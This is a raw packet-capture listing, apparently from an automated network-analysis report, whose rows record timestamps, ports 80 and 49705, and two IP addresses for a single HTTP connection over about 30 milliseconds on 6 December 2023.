Dec 6, 2023 14:50:51.109505892 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.109549046 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.109589100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.109591961 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.109666109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.109704971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.109708071 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.109745026 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.109785080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.109787941 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.110450983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.110492945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.110493898 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.110534906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.110574961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.110578060 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.110616922 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.110654116 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.110657930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.110738993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.110778093 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.111398935 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.111440897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.111479998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.111481905 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.111520052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.111557961 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.111561060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.111613989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.111650944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.111680984 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.112453938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.112497091 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.112530947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.112600088 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.112638950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.112678051 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.112792015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.112833977 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.112912893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.113109112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.113158941 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.113437891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.113480091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.113518000 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.113521099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.113560915 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.113596916 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.113601923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.113641977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.113677979 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.113682032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.113749981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.113787889 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.114382982 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.114424944 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.114464045 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.114465952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.114506960 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.114547014 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.114547968 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.114587069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.114624977 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.114625931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.115257978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.115300894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.115302086 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.115341902 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.115379095 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.115385056 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.115426064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.115498066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.115502119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.115542889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.115583897 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.116215944 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.116264105 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.116302967 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.116307020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.116350889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.116389990 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.116396904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.116441011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.116478920 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.116483927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.117117882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.117162943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.117163897 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.117248058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.117288113 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.117292881 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.117336035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.117379904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.117379904 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.117424011 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.117464066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.118098974 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.118144989 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.118185997 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.118191004 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.118233919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.118272066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.118318081 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.118361950 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.118400097 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.118406057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.118976116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.119019985 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.119021893 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.119065046 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.119105101 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.119110107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.119153976 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.119189024 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.119196892 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.119240046 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.119285107 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.119955063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.120002031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.120038986 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.120044947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.120089054 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.120126009 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.120131969 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.120174885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.120210886 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.120218992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.120863914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.120908976 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.120909929 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.121042967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.121082067 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.121087074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.121131897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.121170998 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.121176004 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.121220112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.121263027 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.121793985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.121840954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.121885061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.121885061 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.121928930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.121964931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.121972084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.122015953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.122051954 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.122059107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.122704983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.122749090 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.122823000 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.122869015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.122912884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.122914076 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.122957945 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.122996092 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.123003006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.123047113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.123087883 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.123090029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.123780966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.123821974 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.123826981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.123872995 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.123910904 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.123915911 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.123960972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.123995066 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.124265909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.124311924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.124351025 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.124741077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.124803066 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.124844074 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.124881983 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.124926090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.124963045 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.124969006 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.125013113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.125049114 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.125056028 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.125605106 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.125690937 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.125690937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.125736952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.125773907 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.125778913 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.125823021 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.125860929 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.125868082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.125946045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.125988007 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.126528978 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.126576900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.126615047 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.126621008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.126665115 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.126702070 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.126708984 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.126751900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.126789093 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.126794100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.127368927 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.127415895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.127415895 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.127460003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.127504110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.127504110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.127548933 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.127587080 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.127592087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.127635956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.127674103 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.128232002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.128278017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.128320932 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.128321886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.128365040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.128402948 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.128408909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.128453970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.128490925 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.128496885 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.129349947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.129395962 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.129405022 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.129440069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.129479885 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.129483938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.129558086 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.129597902 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.129602909 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.129647970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.129697084 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.129720926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.130217075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.130260944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.130295038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.130340099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.130378008 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.130383968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.130426884 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.130464077 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.130469084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.130512953 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.130556107 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.130557060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.131095886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.131140947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.131145954 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.131186008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.131222963 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.131230116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.131273031 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.131309986 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.131314993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.131764889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.131808996 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.131810904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.131943941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.131984949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.131989956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.132035971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.132072926 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.132080078 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.132124901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.132168055 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.132169008 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.132772923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.132818937 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.133128881 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133177996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133217096 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.133223057 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133296967 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133335114 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.133377075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133421898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133465052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133469105 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.133636951 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133677959 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.133682966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133725882 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133763075 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.133800030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133845091 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133897066 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133898973 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.133941889 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.133981943 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.133986950 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.134531021 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.134581089 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.134608984 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.134654999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.134697914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.134731054 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.134773016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.134815931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.134819984 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.134864092 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.134907961 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.134917021 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.135438919 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.135484934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.135488987 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.135529041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.135566950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.135571957 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.135616064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.135703087 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.135735035 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.135778904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.135821104 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.135821104 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.136339903 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.136385918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.136388063 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.136431932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.136471033 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.136473894 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.136518002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.136555910 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.136562109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.136606932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.136650085 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.136660099 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.137236118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.137281895 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.137289047 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.137326002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.137370110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.137370110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.137413025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.137455940 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.137458086 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.137501001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.137545109 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.137546062 CET	49705	80	192.168.2.5	172.67.165.204
